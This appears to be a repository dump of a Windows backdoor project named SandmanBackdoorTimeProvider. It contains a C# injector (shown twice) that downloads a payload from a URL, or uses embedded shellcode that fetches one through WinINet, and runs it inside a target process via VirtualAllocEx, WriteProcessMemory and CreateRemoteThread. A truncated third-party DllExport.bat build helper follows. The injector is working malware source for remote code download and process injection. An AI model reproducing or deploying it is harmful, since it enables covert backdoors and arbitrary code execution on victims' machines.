| byte[] bPayloadUrl = new byte[payloadUrl.Length + 1]; 119 | Array.Copy(Encoding.ASCII.GetBytes(payloadUrl), bPayloadUrl, payloadUrl.Length); 120 | bPayloadUrl[payloadUrl.Length] = 0x00; 121 | 122 | // Allocating memory for shellcode and url address. 123 | shellcode = rawShellcode.Clone() as byte[]; 124 | IntPtr address = Win32Helper.VirtualAllocEx(targetProcess.Handle, IntPtr.Zero, (UInt32)(shellcode.Length + bPayloadUrl.Length), Win32Helper.AllocationType.Commit | Win32Helper.AllocationType.Reserve, Win32Helper.MemoryProtection.PAGE_READWRITE); 125 | #else 126 | using (var client = new WebClient()) 127 | { 128 | byte[] temp = client.DownloadData(payloadUrl); 129 | 130 | if (temp == null || temp.Length != payloadSize) 131 | return false; 132 | 133 | shellcode = temp.Clone() as byte[]; 134 | } 135 | IntPtr address = Win32Helper.VirtualAllocEx(targetProcess.Handle, IntPtr.Zero, (UInt32)(shellcode.Length), Win32Helper.AllocationType.Commit | Win32Helper.AllocationType.Reserve, Win32Helper.MemoryProtection.PAGE_READWRITE); 136 | #endif 137 | 138 | if (address.Equals(IntPtr.Zero)) 139 | { 140 | Console.WriteLine("Invalid address"); 141 | return false; 142 | } 143 | 144 | #if USE_SHELLCODE 145 | // Writing the URL and iterating the address. 146 | if (!Win32Helper.WriteProcessMemory(targetProcess.Handle, address, bPayloadUrl, bPayloadUrl.Length, out IntPtr _)) 147 | { 148 | Console.WriteLine("Failed to write to process memory"); 149 | return false; 150 | } 151 | 152 | // Patching the shellcode. 153 | if (!PatchShellcode(address, payloadSize, ref shellcode)) 154 | return false; 155 | 156 | address += bPayloadUrl.Length + 1; 157 | #endif 158 | 159 | // Normal shellcode injection. 160 | if (!Win32Helper.WriteProcessMemory(targetProcess.Handle, address, shellcode, shellcode.Length, out IntPtr _)) 161 | { 162 | Console.WriteLine("Failed to write to process memory"); 163 | return false; 164 | } 165 | 166 | if (!Win32Helper.VirtualProtectEx(targetProcess.Handle, address, new UIntPtr((UInt32)shellcode.Length), Win32Helper.MemoryProtection.PAGE_EXECUTE_READ, out Win32Helper.MemoryProtection _)) 167 | { 168 | Console.WriteLine("Failed to change memory protection"); 169 | return false; 170 | } 171 | 172 | IntPtr threadHandle = Win32Helper.CreateRemoteThread(targetProcess.Handle, IntPtr.Zero, 0, address, IntPtr.Zero, Win32Helper.ThreadCreationFlags.NORMAL, out _); 173 | Win32Helper.WaitForSingleObject(threadHandle, Win32Helper.INFINITE); 174 | 175 | return true; 176 | } 177 | 178 | #if USE_SHELLCODE 179 | private static bool PatchShellcode(IntPtr payloadUrlAddress, int payloadSize, ref byte[] shellcode) 180 | { 181 | byte[] bPayloadUrl = BitConverter.GetBytes(payloadUrlAddress.ToInt64()); 182 | byte[] bSize = BitConverter.GetBytes((UInt32)payloadSize); 183 | 184 | // Writing the url and payload size. 185 | Array.Copy(bPayloadUrl, 0, shellcode, URL_OFFSET, bPayloadUrl.Length); 186 | Array.Copy(bSize, 0, shellcode, SIZE_OFFSET1, bSize.Length); 187 | Array.Copy(bSize, 0, shellcode, SIZE_OFFSET2, bSize.Length); 188 | 189 | // Writing the addresses to the required functions. 190 | if (Win32Helper.LoadLibraryA("Wininet.dll") == IntPtr.Zero) 191 | return false; 192 | 193 | byte[] pInternetOpen = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetOpenA").ToInt64()); 194 | byte[] pInternetOpenUrl = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetOpenUrlA").ToInt64()); 195 | byte[] pVirtualAlloc = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Kernel32.dll"), "VirtualAlloc").ToInt64()); 196 | byte[] pLoadLibrary = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Kernel32.dll"), "LoadLibraryA").ToInt64()); 197 | byte[] pInternetReadFile = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetReadFile").ToInt64()); 198 | byte[] pInternetCloseHandle = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetCloseHandle").ToInt64()); 199 | 200 | if (pInternetOpen.Length == 1 || pInternetOpenUrl.Length == 1 || pVirtualAlloc.Length == 1 || 201 | pInternetReadFile.Length == 1 || pInternetCloseHandle.Length == 1 || pLoadLibrary.Length == 1) 202 | return false; 203 | 204 | Array.Copy(pInternetOpen, 0, shellcode, INTERNETOPENA_OFFSET, pInternetOpen.Length); 205 | Array.Copy(pInternetOpenUrl, 0, shellcode, INTERNETOPENURLA_OFFSET, pInternetOpenUrl.Length); 206 | Array.Copy(pVirtualAlloc, 0, shellcode, VIRTUALALLOC_OFFSET, pVirtualAlloc.Length); 207 | Array.Copy(pLoadLibrary, 0, shellcode, LOADLIBRARYA_OFFSET, pLoadLibrary.Length); 208 | Array.Copy(pInternetReadFile, 0, shellcode, INTERNETREADFILE_OFFSET, pInternetReadFile.Length); 209 | Array.Copy(pInternetCloseHandle, 0, shellcode, INTERNETCLOSEHANDLE_OFFSET1, pInternetCloseHandle.Length); 210 | Array.Copy(pInternetCloseHandle, 0, shellcode, INTERNETCLOSEHANDLE_OFFSET2, pInternetCloseHandle.Length); 211 | 212 | return true; 213 | } 214 | #endif 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/SandmanBackdoorTimeProvider/Injector.cs: -------------------------------------------------------------------------------- 1 | // #define USE_SHELLCODE --> Uncomment to use orca's shellcode. 2 | using System; 3 | using System.Diagnostics; 4 | 5 | #if USE_SHELLCODE 6 | using System.Text; 7 | #else 8 | using System.Net; 9 | #endif 10 | 11 | namespace SandmanBackdoorTimeProvider 12 | { 13 | internal class Injector 14 | { 15 | #if USE_SHELLCODE 16 | // Thanks Orca :) (https://github.com/ORCx41/D-R-Shellcode/blob/main/Loader.c) 17 | private static byte[] rawShellcode = new byte[] { 18 | 0x48, 0x83, 0xEC, 0x38, 19 | 0x68, 0x64, 0x6C, 0x6C, 0x00, 20 | 0x48, 0xB8, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x2E, 21 | 0x50, 22 | 0x48, 0x8B, 0xCC, 23 | 24 | 0x48, 0x83, 0xEC, 0x20, 25 | 0x48, 0xB8, // * LoadLibraryA (29) 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | 0xFF, 0xD0, 28 | 0x48, 0x83, 0xC4, 0x30, 29 | 0x68, 0x74, 0x73, 0x65, 0x74, 30 | 0x6A, 0x00, 31 | 0x48 ,0x8B, 0xCC, 32 | 0x33, 0xD2, 33 | 0x45, 0x33, 0xC0, 34 | 0x45, 0x33, 0xC9, 35 | 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 36 | 0x48, 0xB8, 37 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetOpenA (72) 38 | 0xFF, 0xD0, 39 | 0x48, 0x89, 0x44, 0x24, 0x30, 40 | 41 | 42 | 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 43 | 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x44, 0x00, 0x80, 44 | 0x45, 0x33, 0xC9, 45 | 0x45, 0x33, 0xC0, 46 | 0x48, 0xBA, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * PAYLOAD_LINK (113) 48 | 0x48, 0x8B, 0x4C, 0x24, 0x30, 49 | 0x48, 0xB8, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetOpenUrlA (128) 51 | 0xFF, 0xD0, 52 | 0x48, 0x89, 0x44, 0x24, 0x28, 53 | 54 | 55 | 56 | 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 57 | 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 58 | 0xBA, 59 | 0x00, 0x00, 0x00, 0x00, // * PAYLOAD_SIZE (156) 60 | 0x33, 0xC9, 61 | 0x48, 0xB8, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * VirtualAlloc (164) 63 | 0xFF, 0xD0, 64 | 0x48, 0x89, 0x44, 0x24, 0x20, 65 | 66 | 67 | 0x4C, 0x8B, 0xCC, 68 | 0x41, 0xB8, 69 | 0x00, 0x00, 0x00, 0x00, // * PAYLOAD_SIZE (184) 70 | 0x48, 0x8B, 0x54, 0x24, 0x20, 71 | 0x48, 0x8B, 0x4C, 0x24, 0x28, 72 | 0x48, 0xB8, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetReadFile (200) 74 | 0xFF, 0xD0, 75 | 76 | 77 | 0x48, 0x8B, 0x4C, 0x24, 0x28, 78 | 0x48, 0xB8, 79 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetCloseHandle (217) 80 | 0xFF, 0xD0, 81 | 82 | 0x48, 0x8B, 0x4C, 0x24, 0x30, 83 | 0x48, 0xB8, 84 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // * InternetCloseHandle (234) 85 | 0xFF, 0xD0, 86 | 87 | 0x48, 0x8B, 0x44, 0x24, 0x20, 88 | 0xFF, 0xD0, 89 | 90 | 0x48, 0x83, 0xC4, 0x38, 91 | 0xC3 92 | }; 93 | 94 | private const int LOADLIBRARYA_OFFSET = 29; 95 | private const int URL_OFFSET = 113; 96 | private const int SIZE_OFFSET1 = 156; 97 | private const int SIZE_OFFSET2 = 184; 98 | private const int INTERNETOPENA_OFFSET = 72; 99 | private const int INTERNETOPENURLA_OFFSET = 128; 100 | private const int VIRTUALALLOC_OFFSET = 164; 101 | private const int INTERNETREADFILE_OFFSET = 200; 102 | private const int INTERNETCLOSEHANDLE_OFFSET1 = 217; 103 | private const int INTERNETCLOSEHANDLE_OFFSET2 = 234; 104 | #endif 105 | 106 | public static bool InjectShellcode(string payloadUrl, int payloadSize, string targetProcessName) 107 | { 108 | byte[] shellcode = new byte[payloadSize]; 109 | 110 | // Getting handle to the target process. 111 | Process[] processInstances = Process.GetProcessesByName(targetProcessName); 112 | 113 | if (processInstances.Length == 0) 114 | return false; 115 | Process targetProcess = processInstances[0]; 116 | 117 | #if USE_SHELLCODE 118 | byte[] bPayloadUrl = new byte[payloadUrl.Length + 1]; 119 | Array.Copy(Encoding.ASCII.GetBytes(payloadUrl), bPayloadUrl, payloadUrl.Length); 120 | bPayloadUrl[payloadUrl.Length] = 0x00; 121 | 122 | // Allocating memory for shellcode and url address. 123 | shellcode = rawShellcode.Clone() as byte[]; 124 | IntPtr address = Win32Helper.VirtualAllocEx(targetProcess.Handle, IntPtr.Zero, (UInt32)(shellcode.Length + bPayloadUrl.Length), Win32Helper.AllocationType.Commit | Win32Helper.AllocationType.Reserve, Win32Helper.MemoryProtection.PAGE_READWRITE); 125 | #else 126 | using (var client = new WebClient()) 127 | { 128 | byte[] temp = client.DownloadData(payloadUrl); 129 | 130 | if (temp == null || temp.Length != payloadSize) 131 | return false; 132 | 133 | shellcode = temp.Clone() as byte[]; 134 | } 135 | IntPtr address = Win32Helper.VirtualAllocEx(targetProcess.Handle, IntPtr.Zero, (UInt32)(shellcode.Length), Win32Helper.AllocationType.Commit | Win32Helper.AllocationType.Reserve, Win32Helper.MemoryProtection.PAGE_READWRITE); 136 | #endif 137 | 138 | if (address.Equals(IntPtr.Zero)) 139 | { 140 | Console.WriteLine("Invalid address"); 141 | return false; 142 | } 143 | 144 | #if USE_SHELLCODE 145 | // Writing the URL and iterating the address. 146 | if (!Win32Helper.WriteProcessMemory(targetProcess.Handle, address, bPayloadUrl, bPayloadUrl.Length, out IntPtr _)) 147 | { 148 | Console.WriteLine("Failed to write to process memory"); 149 | return false; 150 | } 151 | 152 | // Patching the shellcode. 153 | if (!PatchShellcode(address, payloadSize, ref shellcode)) 154 | return false; 155 | 156 | address += bPayloadUrl.Length + 1; 157 | #endif 158 | 159 | // Normal shellcode injection. 160 | if (!Win32Helper.WriteProcessMemory(targetProcess.Handle, address, shellcode, shellcode.Length, out IntPtr _)) 161 | { 162 | Console.WriteLine("Failed to write to process memory"); 163 | return false; 164 | } 165 | 166 | if (!Win32Helper.VirtualProtectEx(targetProcess.Handle, address, new UIntPtr((UInt32)shellcode.Length), Win32Helper.MemoryProtection.PAGE_EXECUTE_READ, out Win32Helper.MemoryProtection _)) 167 | { 168 | Console.WriteLine("Failed to change memory protection"); 169 | return false; 170 | } 171 | 172 | IntPtr threadHandle = Win32Helper.CreateRemoteThread(targetProcess.Handle, IntPtr.Zero, 0, address, IntPtr.Zero, Win32Helper.ThreadCreationFlags.NORMAL, out _); 173 | Win32Helper.WaitForSingleObject(threadHandle, Win32Helper.INFINITE); 174 | 175 | return true; 176 | } 177 | 178 | #if USE_SHELLCODE 179 | private static bool PatchShellcode(IntPtr payloadUrlAddress, int payloadSize, ref byte[] shellcode) 180 | { 181 | byte[] bPayloadUrl = BitConverter.GetBytes(payloadUrlAddress.ToInt64()); 182 | byte[] bSize = BitConverter.GetBytes((UInt32)payloadSize); 183 | 184 | // Writing the url and payload size. 185 | Array.Copy(bPayloadUrl, 0, shellcode, URL_OFFSET, bPayloadUrl.Length); 186 | Array.Copy(bSize, 0, shellcode, SIZE_OFFSET1, bSize.Length); 187 | Array.Copy(bSize, 0, shellcode, SIZE_OFFSET2, bSize.Length); 188 | 189 | // Writing the addresses to the required functions. 190 | if (Win32Helper.LoadLibraryA("Wininet.dll") == IntPtr.Zero) 191 | return false; 192 | 193 | byte[] pInternetOpen = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetOpenA").ToInt64()); 194 | byte[] pInternetOpenUrl = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetOpenUrlA").ToInt64()); 195 | byte[] pVirtualAlloc = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Kernel32.dll"), "VirtualAlloc").ToInt64()); 196 | byte[] pLoadLibrary = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Kernel32.dll"), "LoadLibraryA").ToInt64()); 197 | byte[] pInternetReadFile = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetReadFile").ToInt64()); 198 | byte[] pInternetCloseHandle = BitConverter.GetBytes((UInt64)Win32Helper.GetProcAddress(Win32Helper.GetModuleHandleA("Wininet.dll"), "InternetCloseHandle").ToInt64()); 199 | 200 | if (pInternetOpen.Length == 1 || pInternetOpenUrl.Length == 1 || pVirtualAlloc.Length == 1 || 201 | pInternetReadFile.Length == 1 || pInternetCloseHandle.Length == 1 || pLoadLibrary.Length == 1) 202 | return false; 203 | 204 | Array.Copy(pInternetOpen, 0, shellcode, INTERNETOPENA_OFFSET, pInternetOpen.Length); 205 | Array.Copy(pInternetOpenUrl, 0, shellcode, INTERNETOPENURLA_OFFSET, pInternetOpenUrl.Length); 206 | Array.Copy(pVirtualAlloc, 0, shellcode, VIRTUALALLOC_OFFSET, pVirtualAlloc.Length); 207 | Array.Copy(pLoadLibrary, 0, shellcode, LOADLIBRARYA_OFFSET, pLoadLibrary.Length); 208 | Array.Copy(pInternetReadFile, 0, shellcode, INTERNETREADFILE_OFFSET, pInternetReadFile.Length); 209 | Array.Copy(pInternetCloseHandle, 0, shellcode, INTERNETCLOSEHANDLE_OFFSET1, pInternetCloseHandle.Length); 210 | Array.Copy(pInternetCloseHandle, 0, shellcode, INTERNETCLOSEHANDLE_OFFSET2, pInternetCloseHandle.Length); 211 | 212 | return true; 213 | } 214 | #endif 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /SandmanBackdoorTimeProvider/DllExport.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | :: Copyright (c) 2016-2021 Denis Kuzmin [x-3F@outlook.com] github/3F 3 | :: https://github.com/3F/DllExport 4 | if "%~1"=="/?" goto bq 5 | set "aa=%~dpnx0" 6 | set ab=%* 7 | set ac=%* 8 | if defined ab ( 9 | if defined __p_call ( 10 | set ac=%ac:^^=^% 11 | ) else ( 12 | set ab=%ab:^=^^% 13 | ) 14 | ) 15 | set wMgrArgs=%ac% 16 | set ad=%ab:!=^!% 17 | setlocal enableDelayedExpansion 18 | set "ae=^" 19 | set "ad=!ad:%%=%%%%!" 20 | set "ad=!ad:&=%%ae%%&!" 21 | set "af=1.7.4" 22 | set "wAction=Configure" 23 | set "ag=DllExport" 24 | set "ah=tools/net.r_eg.DllExport.Wizard.targets" 25 | set "ai=packages" 26 | set "aj=https://www.nuget.org/api/v2/package/" 27 | set "ak=build_info.txt" 28 | set "al=!aa!" 29 | set "wRootPath=!cd!" 30 | set /a wDxpOpt=0 31 | set "am=" 32 | set "an=" 33 | set "ao=" 34 | set "ap=" 35 | set "aq=" 36 | set "ar=" 37 | set "as=" 38 | set "at=" 39 | set "au=" 40 | set "av=" 41 | set /a aw=0 42 | if not defined ab ( 43 | if defined wAction goto br 44 | goto bq 45 | ) 46 | call :bs bk !ad! bl 47 | goto bt 48 | :bq 49 | echo. 50 | @echo .NET DllExport v1.7.4.29858+c1cc52f 51 | @echo Copyright (c) 2009-2015 Robert Giesecke 52 | @echo Copyright (c) 2016-2021 Denis Kuzmin ^ github/3F 53 | echo. 54 | echo MIT License 55 | @echo https://github.com/3F/DllExport 56 | echo Based on hMSBuild, MvsSln, +GetNuTool: https://github.com/3F 57 | echo. 58 | @echo. 59 | @echo Usage: DllExport [args to DllExport] [args to GetNuTool] [args to hMSBuild] 60 | echo ------ 61 | echo. 62 | echo Arguments 63 | echo --------- 64 | echo -action {type} - Specified action for Wizard. Where {type}: 65 | echo * Configure - To configure DllExport for specific projects. 66 | echo * Update - To update pkg reference for already configured projects. 67 | echo * Restore - To restore configured DllExport. 68 | echo * Export - To export configured projects data. 69 | echo * Recover - To re-configure projects via predefined/exported data. 70 | echo * Unset - To unset all data from specified projects. 71 | echo * Upgrade - Aggregates an Update action with additions for upgrading. 72 | echo. 73 | echo -sln-dir {path} - Path to directory with .sln files to be processed. 74 | echo -sln-file {path} - Optional predefined .sln file to be processed. 75 | echo -metalib {path} - Relative path to meta library. 76 | echo -metacor {path} - Relative path to meta core library. 77 | echo -dxp-target {path} - Relative path to entrypoint wrapper of the main core. 78 | echo -dxp-version {num} - Specific version of DllExport. Where {num}: 79 | echo * Versions: 1.7.3 ... 80 | echo * Keywords: 81 | echo `actual` - Unspecified local/latest remote version; 82 | echo ( Only if you know what you are doing ) 83 | echo. 84 | echo -msb {path} - Full path to specific msbuild. 85 | echo -hMSBuild {args} - Access to hMSBuild tool (packed) https://github.com/3F/hMSBuild 86 | echo -packages {path} - A common directory for packages. 87 | echo -server {url} - Url for searching remote packages. 88 | echo -proxy {cfg} - To use proxy. The format: [usr[:pwd]@]host[:port] 89 | echo -pkg-link {uri} - Direct link to package from the source via specified URI. 90 | echo -force - Aggressive behavior, e.g. like removing pkg when updating. 91 | echo -no-mgr - Do not use %~nx0 for automatic restore the remote package. 92 | echo -mgr-up - Updates %~nx0 to version from '-dxp-version'. 93 | echo -wz-target {path} - Relative path to entrypoint wrapper of the main wizard. 94 | echo -pe-exp-list {module} - To list all available exports from PE32/PE32+ module. 95 | echo -eng - Try to use english language for all build messages. 96 | echo -GetNuTool {args} - Access to GetNuTool (integrated) https://github.com/3F/GetNuTool 97 | echo -debug - To show additional information. 98 | echo -version - Displays version for which (together with) it was compiled. 99 | echo -build-info - Displays actual build information from selected DllExport. 100 | echo -help - Displays this help. Aliases: -help -h 101 | echo. 102 | echo Flags 103 | echo ----- 104 | echo __p_call - To use the call-type logic when invoking %~nx0 105 | echo. 106 | echo Samples 107 | echo ------- 108 | echo DllExport -action Configure -force -pkg-link http://host/v1.7.3.nupkg 109 | echo DllExport -action Restore -sln-file "Conari.sln" 110 | echo DllExport -proxy guest:1234@10.0.2.15:7428 -action Configure 111 | echo. 112 | echo DllExport -mgr-up -dxp-version 1.7.3 113 | echo DllExport -action Upgrade -dxp-version 1.7.3 114 | echo. 115 | echo DllExport -GetNuTool /p:ngpackages="Conari;regXwild" 116 | echo DllExport -pe-exp-list bin\Debug\regXwild.dll 117 | goto bu 118 | :bt 119 | set /a ax=0 120 | :bv 121 | set ay=!bk[%ax%]! 122 | if [!ay!]==[-help] ( goto bq ) else if [!ay!]==[-h] ( goto bq ) else if [!ay!]==[-?] ( goto bq ) 123 | if [!ay!]==[-debug] ( 124 | set am=1 125 | goto bw 126 | ) else if [!ay!]==[-action] ( set /a "ax+=1" & call :bx bk[!ax!] v 127 | set wAction=!v! 128 | for %%g in (Restore, Configure, Update, Export, Recover, Unset, Upgrade, Default) do ( 129 | if "!v!"=="%%g" goto bw 130 | ) 131 | echo Unknown -action !v! 132 | exit/B 1 133 | ) else if [!ay!]==[-sln-dir] ( set /a "ax+=1" & call :bx bk[!ax!] v 134 | set wSlnDir=!v! 135 | goto bw 136 | ) else if [!ay!]==[-sln-file] ( set /a "ax+=1" & call :bx bk[!ax!] v 137 | set wSlnFile=!v! 138 | goto bw 139 | ) else if [!ay!]==[-metalib] ( set /a "ax+=1" & call :bx bk[!ax!] v 140 | set wMetaLib=!v! 141 | goto bw 142 | ) else if [!ay!]==[-metacor] ( set /a "ax+=1" & call :bx bk[!ax!] v 143 | set wMetaCor=!v! 144 | goto bw 145 | ) else if [!ay!]==[-dxp-target] ( set /a "ax+=1" & call :bx bk[!ax!] v 146 | set wDxpTarget=!v! 147 | goto bw 148 | ) else if [!ay!]==[-dxp-version] ( set /a "ax+=1" & call :bx bk[!ax!] v 149 | set af=!v! 150 | goto bw 151 | ) else if [!ay!]==[-msb] ( set /a "ax+=1" & call :bx bk[!ax!] v 152 | set ao=!v! 153 | goto bw 154 | ) else if [!ay!]==[-packages] ( set /a "ax+=1" & call :bx bk[!ax!] v 155 | set ai=!v! 156 | goto bw 157 | ) else if [!ay!]==[-server] ( set /a "ax+=1" & call :bx bk[!ax!] v 158 | set aj=!v! 159 | goto bw 160 | ) else if [!ay!]==[-proxy] ( set /a "ax+=1" & call :bx bk[!ax!] v 161 | set at=!v! 162 | set wProxy=!v! 163 | goto bw 164 | ) else if [!ay!]==[-pkg-link] ( set /a "ax+=1" & call :bx bk[!ax!] v 165 | set ap=!v! 166 | set af=!ay! 167 | goto bw 168 | ) else if [!ay!]==[-force] ( 169 | set ar=1 170 | goto bw 171 | ) else if [!ay!]==[-no-mgr] ( 172 | set /a wDxpOpt^|=1 173 | goto bw 174 | ) else if [!ay!]==[-mgr-up] ( 175 | set as=1 176 | goto bw 177 | ) else if [!ay!]==[-wz-target] ( set /a "ax+=1" & call :bx bk[!ax!] v 178 | set ah=!v! 179 | goto bw 180 | ) else if [!ay!]==[-pe-exp-list] ( set /a "ax+=1" & call :bx bk[!ax!] v 181 | set aq=!v! 182 | goto bw 183 | ) else if [!ay!]==[-eng] ( 184 | chcp 437 >nul 185 | goto bw 186 | ) else if [!ay!]==[-GetNuTool] ( 187 | call :by -GetNuTool 10 188 | set /a aw=!ERRORLEVEL! & goto bu 189 | ) else if [!ay!]==[-hMSBuild] ( 190 | set av=1 & goto br 191 | ) else if [!ay!]==[-version] ( 192 | @echo v1.7.4.29858+c1cc52f %__dxp_pv% 193 | goto bu 194 | ) else if [!ay!]==[-build-info] ( 195 | set an=1 196 | goto bw 197 | ) else if [!ay!]==[-tests] ( set /a "ax+=1" & call :bx bk[!ax!] v 198 | set au=!v! 199 | goto bw 200 | ) else ( 201 | echo Incorrect key: !ay! 202 | set /a aw=1 203 | goto bu 204 | ) 205 | :bw 206 | set /a "ax+=1" & if %ax% LSS !bl! goto bv 207 | :br 208 | call :bz "dxpName = " ag 209 | call :bz "dxpVersion = " af 210 | call :bz "-sln-dir = " wSlnDir 211 | call :bz "-sln-file = " wSlnFile 212 | call :bz "-metalib = " wMetaLib 213 | call :bz "-metacor = " wMetaCor 214 | call :bz "-dxp-target = " wDxpTarget 215 | call :bz "-wz-target = " ah 216 | call :bz "#opt " wDxpOpt 217 | if defined af ( 218 | if "!af!"=="actual" ( 219 | set "af=" 220 | ) 221 | ) 222 | set wPkgVer=!af! 223 | if z%wAction%==zUpgrade ( 224 | call :bz "Upgrade is on" 225 | set as=1 226 | set ar=1 227 | ) 228 | call :b0 ai 229 | set "ai=!ai!\\" 230 | set "az=!ag!" 231 | set "wPkgPath=!ai!!ag!" 232 | if defined af ( 233 | set "az=!az!/!af!" 234 | set "wPkgPath=!wPkgPath!.!af!" 235 | ) 236 | if defined ar ( 237 | if exist "!wPkgPath!" ( 238 | call :bz "Removing old version before continue. '-force' key rule. " wPkgPath 239 | rmdir /S/Q "!wPkgPath!" 240 | ) 241 | ) 242 | set a0="!wPkgPath!\\!ah!" 243 | call :bz "wPkgPath = " wPkgPath 244 | if not exist !a0! ( 245 | if exist "!wPkgPath!" ( 246 | call :bz "Trying to replace obsolete version ... " wPkgPath 247 | rmdir /S/Q "!wPkgPath!" 248 | ) 249 | call :bz "-pkg-link = " ap 250 | call :bz "-server = " aj 251 | if defined ap ( 252 | set aj=!ap! 253 | if "!aj::=!"=="!aj!" ( 254 | set aj=!cd!/!aj! 255 | ) 256 | if "!wPkgPath::=!"=="!wPkgPath!" ( 257 | set "a1=../" 258 | ) 259 | set "az=:!a1!!wPkgPath!|" 260 | ) 261 | if defined ao ( 262 | set a2=-msbuild "!ao!" 263 | ) 264 | set a3=!a2! /p:ngserver="!aj!" /p:ngpackages="!az!" /p:ngpath="!ai!" /p:proxycfg="!at! " 265 | call :bz "GetNuTool call: " a3 266 | if defined am ( 267 | call :b1 !a3! 268 | ) else ( 269 | call :b1 !a3! >nul 270 | ) 271 | ) 272 | if defined av ( 273 | call :by -hMSBuild 9 274 | set /a aw=!ERRORLEVEL! & goto bu 275 | ) 276 | if defined aq ( 277 | "!wPkgPath!\\tools\\PeViewer.exe" -list -pemodule "!aq!" 278 | set /a aw=%ERRORLEVEL% 279 | goto bu 280 | ) 281 | if defined an ( 282 | call :bz "buildInfo = " wPkgPath ak 283 | if not exist "!wPkgPath!\\!ak!" ( 284 | echo information about build is not available. 285 | set /a aw=2 286 | goto bu 287 | ) 288 | type "!wPkgPath!\\!ak!" 289 | goto bu 290 | ) 291 | if not exist !a0! ( 292 | echo Something went wrong. Try to use another keys. 293 | set /a aw=2 294 | goto bu 295 | ) 296 | call :bz "wRootPath = " wRootPath 297 | call :bz "wAction = " wAction 298 | call :bz "wMgrArgs = " wMgrArgs 299 | if defined ao ( 300 | call :bz "Use specific MSBuild tools: " ao 301 | set a4="!ao!" 302 | goto b2 303 | ) 304 | call :b3 bm & set a4="!bm!" 305 | if "!ERRORLEVEL!"=="0" goto b2 306 | echo MSBuild tools was not found. Try with `-msb` key. 307 | set /a aw=2 308 | goto bu 309 | :b2 310 | if not defined a4 ( 311 | echo Something went wrong. Use `-debug` key for details. 312 | set /a aw=2 313 | goto bu 314 | ) 315 | if not defined au ( 316 | if not defined ao if defined wPkgPath ( 317 | set a4="!wPkgPath!\\hMSBuild" 318 | for /f "tokens=*" %%i in ('!a4! -version') do set a5=%%i 319 | call :b4 !a5! bn 320 | call :bz "hMSBuild -v" a5 bn 321 | if !bn! GEQ 230 ( 322 | call :bz "2.3+" 323 | set a4=!a4! -vsw-as "-requiresAny -requires Microsoft.NetCore.Component.SDK Microsoft.Net.Core.Component.SDK -products * -latest -prerelease" 324 | ) 325 | ) 326 | call :bz "Target: " a4 a0 327 | call !a4! /nologo /v:m /m:4 !a0! 328 | ) 329 | :bu 330 | if defined au ( 331 | echo Running Tests ... "!au!" 332 | call :b3 bo 333 | "!bo!" /nologo /v:m /m:4 "!au!" 334 | exit/B 0 335 | ) 336 | if defined as ( 337 | (copy /B/Y "!wPkgPath!\\DllExport.bat" "!al!" > nul) && ( echo Manager has been updated. & exit/B 0 ) || ( (echo -mgr-up failed:!aw! 1>&2) & exit/B 1 ) 338 | ) 339 | exit/B !aw! 340 | :b4 341 | set a6=%~1 342 | for /f "tokens=1,2 delims=." %%a in ("!a6!") do ( 343 | set _=%%b & set /a _*=10 & set /a %2=%%a!_! 344 | ) 345 | exit/B 0 346 | :by 347 | set ay=%~1 348 | set /a a7=%~2 349 | call :bz "accessing to !ay! ..." 350 | for /L %%p IN (0,1,8181) DO ( 351 | if "!ad:~%%p,%a7%!"=="!ay!" ( 352 | set a8=!ad:~%%p! 353 | set a9=!a8:~%a7%! 354 | if defined av ( 355 | call "!wPkgPath!\\hMSBuild" !a9! 356 | ) else ( 357 | call :b1 !a9! 358 | ) 359 | exit/B !ERRORLEVEL! 360 | ) 361 | ) 362 | call :bz "!ay! is corrupted: " ad 363 | exit/B 1 364 | :b3 365 | call :bz "Searching from .NET Framework - .NET 4.0, ..." 366 | for %%v in (4.0, 3.5, 2.0) do ( 367 | call :b5 %%v Y & if defined Y ( 368 | set %1=!Y! 369 | exit/B 0 370 | ) 371 | ) 372 | call :bz "msb -netfx: not found" 373 | set "%1=" 374 | exit/B 2 375 | :b5 376 | call :bz "check %1" 377 | for /F "usebackq tokens=2* skip=2" %%a in ( 378 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%1" /v 